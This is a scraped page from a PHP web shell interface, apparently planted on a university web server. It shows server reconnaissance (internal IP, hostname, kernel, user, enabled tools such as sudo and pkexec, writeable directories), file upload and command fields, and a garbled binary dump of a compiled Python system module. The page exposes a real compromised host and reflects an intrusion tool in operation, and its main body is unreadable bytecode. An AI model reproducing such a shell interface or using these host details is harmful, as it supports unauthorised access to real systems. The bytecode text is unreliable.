403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/kpatch.cpython-36.pyc
3

a�e(
�@sXddlmZmZmZddlZddlZddlZddlmZej	e
�ZGdd�dej�Z
dS)�)�print_function�division�absolute_importN)�	collectorc@sJeZdZdZdZdddgZdd�Zdd	�Zed
d��Z	dd
�Z
dd�ZdS)�KPatchCollectorzg
    Class used for collecting facts related to installed and loaded liver kernel patches (kpatch)
    z/var/lib/kpatchz/sys/kernel/livepatchz/sys/kernel/kpatch/patchesz/sys/kernel/kpatchcCs|j�S)N)�get_kpatch_info)�self�r	�/usr/lib64/python3.6/kpatch.py�get_all+szKPatchCollector.get_allcCs(i}|j�r$|j�|d<|j�|d<|S)zx
        Get all information about kpatch on current system
        :return: dictionary with kpatch information
        zkpatch.installedz
kpatch.loaded)�_is_kpatch_installed�"_get_installed_live_kernel_patches�_get_loaded_live_kernel_patch)rZkpatch_infor	r	r
r.s
zKPatchCollector.get_kpatch_infocCstjd�dk	S)z�
        Check if kpatch is installed
        :return: Return true, when kpatch CLI tool is installed. Otherwise return False
        �kpatchN)�shutilZwhichr	r	r	r
r;sz$KPatchCollector._is_kpatch_installedcCsXg}tjj|j�rNtj|j�}x.|D]&}tjjtjj|j|��r$|j|�q$Wdj|�S)zx
        Return list of installed live kernel patches
        :return: list of strings with live kernel patches
        � )�os�path�isdir�!DIR_WITH_INSTALLED_KPATCH_MODULES�listdir�join�append)rZinstalled_kpatches�filesrr	r	r
r
Cs
z2KPatchCollector._get_installed_live_kernel_patchescCsXd}xN|jD]D}tjj|�rtj|�}x&|D]}tjjtjj||��r,|}q,WPqW|S)zV
        Get currently used kpatch
        :return: String with current kpach
        �)�DIRS_WITH_LOADED_MODULErrrrr)rZcurrent_kpatchZ
kpatch_dirrrr	r	r
rTs

z-KPatchCollector._get_loaded_live_kernel_patchN)�__name__�
__module__�__qualname__�__doc__rrrr�staticmethodrr
rr	r	r	r
rs
r)Z
__future__rrrZloggingrrZ
rhsmlib.factsrZ	getLoggerr�logZFactsCollectorrr	r	r	r
�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit